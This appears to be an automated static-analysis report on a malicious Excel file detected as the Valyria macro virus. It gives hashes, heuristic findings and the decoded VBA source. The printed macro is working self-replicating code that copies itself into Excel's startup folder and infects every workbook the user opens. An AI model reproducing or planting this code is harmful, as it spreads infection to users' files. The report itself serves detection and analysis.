Malicious Office (OLE) / .XLS — malware analysis report

Static analysis result for SHA-256 5ffc00b5e438c985…

MALICIOUS

Office (OLE) / .XLS

102.0 KB Created: 2006-09-16 00:00:00 Authoring application: Microsoft Excel First seen: 2026-06-26
MD5: 18a733f32f05115018a6e8581e4162f7 SHA-1: 558fdd77d30d63dac59bde51c1e9a1d89613c046 SHA-256: 5ffc00b5e438c9852f2bcfe3c1b4d0884057812e95c2285487edbee8ce9ee3f8
168 Risk Score

Heuristics 5

  • ClamAV: Xls.Virus.Valyria-10007756-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Virus.Valyria-10007756-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA copies the workbook into the Excel XLSTART startup folder high OLE_VBA_XLSTART_PERSISTENCE
    The macro saves a copy of the workbook into Application.StartupPath (the Excel XLSTART folder) so the code auto-loads every time Excel starts. This is the persistence stage of a resident Excel macro virus, not normal document behaviour.
    Matched line in script
    If ThisWorkbook.Path <> Application.StartupPath Then
  • VBA infects other workbooks via an OnSheetActivate copy hook high OLE_VBA_WORKBOOK_INFECTION_SPREADER
    The macro installs an Application.OnSheetActivate handler that copies a sheet (carrying the macro) into the active workbook whenever a sheet is activated. This is the replication stage of a resident Excel macro virus: it infects every workbook the user opens.
    Matched line in script
        Application.OnSheetActivate = ""
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1154 bytes
SHA-256: ea86c1184c2b1d8038ab1d0b3a1e4bff835afae49d2b4187f0247ae16de0db08
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Kangatang"


Sub Auto_Open()
'If ThisWorkbook.Path <> Application.Path & "\XLSTART" Then ThisWorkbook.SaveAs Filename:=Application.Path & "\XLSTART\mypersonel1.xls"
Application.DisplayAlerts = False
Application.EnableEvents = False
Application.ScreenUpdating = False
Application.DisplayStatusBar = False


On Error Resume Next
If ThisWorkbook.Path <> Application.StartupPath Then
    Application.ScreenUpdating = False
    Windows(1).Visible = False
    ThisWorkbook.SaveCopyAs Filename:=Application.StartupPath & "\mypersonnel1.xls"
    Windows(1).Visible = True
End If

    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "mypersonnel1.xls!allocated"
End Sub

Sub allocated()
  On Error Resume Next
  If ActiveWorkbook.Sheets(1).name <> "Kangatang" Then
    Application.ScreenUpdating = False
    Application.DisplayStatusBar = False
    currentsh = ActiveSheet.name
    ThisWorkbook.Sheets("Kangatang").Copy before:=ActiveWorkbook.Sheets(1)
    ActiveWorkbook.Sheets(currentsh).Select
    Application.ScreenUpdating = 1
  End If
End Sub

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